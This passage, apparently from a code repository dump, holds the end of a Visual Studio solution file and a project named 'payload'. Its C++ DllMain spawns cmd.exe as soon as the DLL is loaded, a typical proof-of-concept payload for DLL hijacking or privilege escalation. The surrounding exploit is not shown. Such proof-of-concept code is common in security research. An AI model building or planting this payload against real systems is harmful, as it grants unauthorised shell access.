{E1F82946-041D-49F3-860B-7CF7EC2C9620}.Release|x64.Build.0 = Release|x64 {E1F82946-041D-49F3-860B-7CF7EC2C9620}.Release|x86.ActiveCfg = Release|Win32 {E1F82946-041D-49F3-860B-7CF7EC2C9620}.Release|x86.Build.0 = Release|Win32 {B4192E53-737A-409E-96AB-7013F6863072}.Debug|Any CPU.ActiveCfg = Debug|x64 {B4192E53-737A-409E-96AB-7013F6863072}.Debug|Any CPU.Build.0 = Debug|x64 {B4192E53-737A-409E-96AB-7013F6863072}.Debug|x64.ActiveCfg = Debug|x64 {B4192E53-737A-409E-96AB-7013F6863072}.Debug|x64.Build.0 = Debug|x64 {B4192E53-737A-409E-96AB-7013F6863072}.Debug|x86.ActiveCfg = Debug|Win32 {B4192E53-737A-409E-96AB-7013F6863072}.Debug|x86.Build.0 = Debug|Win32 {B4192E53-737A-409E-96AB-7013F6863072}.Release|Any CPU.ActiveCfg = Release|x64 {B4192E53-737A-409E-96AB-7013F6863072}.Release|Any CPU.Build.0 = Release|x64 {B4192E53-737A-409E-96AB-7013F6863072}.Release|x64.ActiveCfg = Release|x64 {B4192E53-737A-409E-96AB-7013F6863072}.Release|x64.Build.0 = Release|x64 {B4192E53-737A-409E-96AB-7013F6863072}.Release|x86.ActiveCfg = Release|Win32 {B4192E53-737A-409E-96AB-7013F6863072}.Release|x86.Build.0 = Release|Win32 {7CDC9C5F-6DEE-4D33-A8AD-610194B1A017}.Debug|Any CPU.ActiveCfg = Debug|x64 {7CDC9C5F-6DEE-4D33-A8AD-610194B1A017}.Debug|Any CPU.Build.0 = Debug|x64 {7CDC9C5F-6DEE-4D33-A8AD-610194B1A017}.Debug|x64.ActiveCfg = Debug|x64 {7CDC9C5F-6DEE-4D33-A8AD-610194B1A017}.Debug|x64.Build.0 = Debug|x64 {7CDC9C5F-6DEE-4D33-A8AD-610194B1A017}.Debug|x86.ActiveCfg = Debug|Win32 {7CDC9C5F-6DEE-4D33-A8AD-610194B1A017}.Debug|x86.Build.0 = Debug|Win32 {7CDC9C5F-6DEE-4D33-A8AD-610194B1A017}.Release|Any CPU.ActiveCfg = Release|x64 {7CDC9C5F-6DEE-4D33-A8AD-610194B1A017}.Release|Any CPU.Build.0 = Release|x64 {7CDC9C5F-6DEE-4D33-A8AD-610194B1A017}.Release|x64.ActiveCfg = Release|x64 {7CDC9C5F-6DEE-4D33-A8AD-610194B1A017}.Release|x64.Build.0 = Release|x64 {7CDC9C5F-6DEE-4D33-A8AD-610194B1A017}.Release|x86.ActiveCfg = Release|Win32 {7CDC9C5F-6DEE-4D33-A8AD-610194B1A017}.Release|x86.Build.0 = Release|Win32 {24A262C7-3655-44A2-AEC5-05D645194830}.Debug|Any CPU.ActiveCfg = Debug|x64 {24A262C7-3655-44A2-AEC5-05D645194830}.Debug|Any CPU.Build.0 = Debug|x64 {24A262C7-3655-44A2-AEC5-05D645194830}.Debug|x64.ActiveCfg = Debug|x64 {24A262C7-3655-44A2-AEC5-05D645194830}.Debug|x64.Build.0 = Debug|x64 {24A262C7-3655-44A2-AEC5-05D645194830}.Debug|x86.ActiveCfg = Debug|Win32 {24A262C7-3655-44A2-AEC5-05D645194830}.Debug|x86.Build.0 = Debug|Win32 {24A262C7-3655-44A2-AEC5-05D645194830}.Release|Any CPU.ActiveCfg = Release|x64 {24A262C7-3655-44A2-AEC5-05D645194830}.Release|Any CPU.Build.0 = Release|x64 {24A262C7-3655-44A2-AEC5-05D645194830}.Release|x64.ActiveCfg = Release|x64 {24A262C7-3655-44A2-AEC5-05D645194830}.Release|x64.Build.0 = Release|x64 {24A262C7-3655-44A2-AEC5-05D645194830}.Release|x86.ActiveCfg = Release|Win32 {24A262C7-3655-44A2-AEC5-05D645194830}.Release|x86.Build.0 = Release|Win32 EndGlobalSection GlobalSection(SolutionProperties) = preSolution HideSolutionNode = FALSE EndGlobalSection GlobalSection(NestedProjects) = preSolution {B4192E53-737A-409E-96AB-7013F6863072} = {FC0FB17B-8AB3-4A56-B1BC-A43C00F50A53} {7CDC9C5F-6DEE-4D33-A8AD-610194B1A017} = {FC0FB17B-8AB3-4A56-B1BC-A43C00F50A53} {24A262C7-3655-44A2-AEC5-05D645194830} = {FC0FB17B-8AB3-4A56-B1BC-A43C00F50A53} EndGlobalSection GlobalSection(ExtensibilityGlobals) = postSolution SolutionGuid = {93AE96B8-1103-4400-8754-E4EC1D26AA01} EndGlobalSection EndGlobal ================================================ FILE: payload/payload.cpp ================================================ #include #include #include __declspec(noreturn) void WINAPI DllMain( HMODULE, DWORD, LPVOID ) { PWSTR system32Ptr; if (FAILED(SHGetKnownFolderPath(FOLDERID_System, 0, nullptr, &system32Ptr))) ExitProcess(1); std::wstring cmdPath{ system32Ptr }; CoTaskMemFree(system32Ptr); cmdPath += L"\\cmd.exe"; PROCESS_INFORMATION pi; STARTUPINFOW si{}; si.cb = sizeof STARTUPINFO; if (!CreateProcessW( cmdPath.c_str(), nullptr, nullptr, nullptr, FALSE, 0, nullptr, nullptr, &si, &pi )) ExitProcess(1); CloseHandle(pi.hThread); CloseHandle(pi.hProcess); ExitProcess(0); } ================================================ FILE: payload/payload.vcxproj ================================================ Debug Win32 Release Win32 Debug x64 Release x64 16.0 Win32Proj {24a262c7-3655-44a2-aec5-05d645194830} payload 10.0 DynamicLibrary true v143 Unicode DynamicLibrary false v143 true Unicode DynamicLibrary true v143 Unicode DynamicLibrary false v143 true Unicode true false true false Level3 true WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) true Console true Level3 true true true WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) true Console true true true Level3 true _DEBUG;_CONSOLE;%(PreprocessorDefinitions) true Console true Level3 true true true NDEBUG;_CONSOLE;%(PreprocessorDefinitions) true Console true true true ================================================ FILE: payload/payload.vcxproj.filters ================================================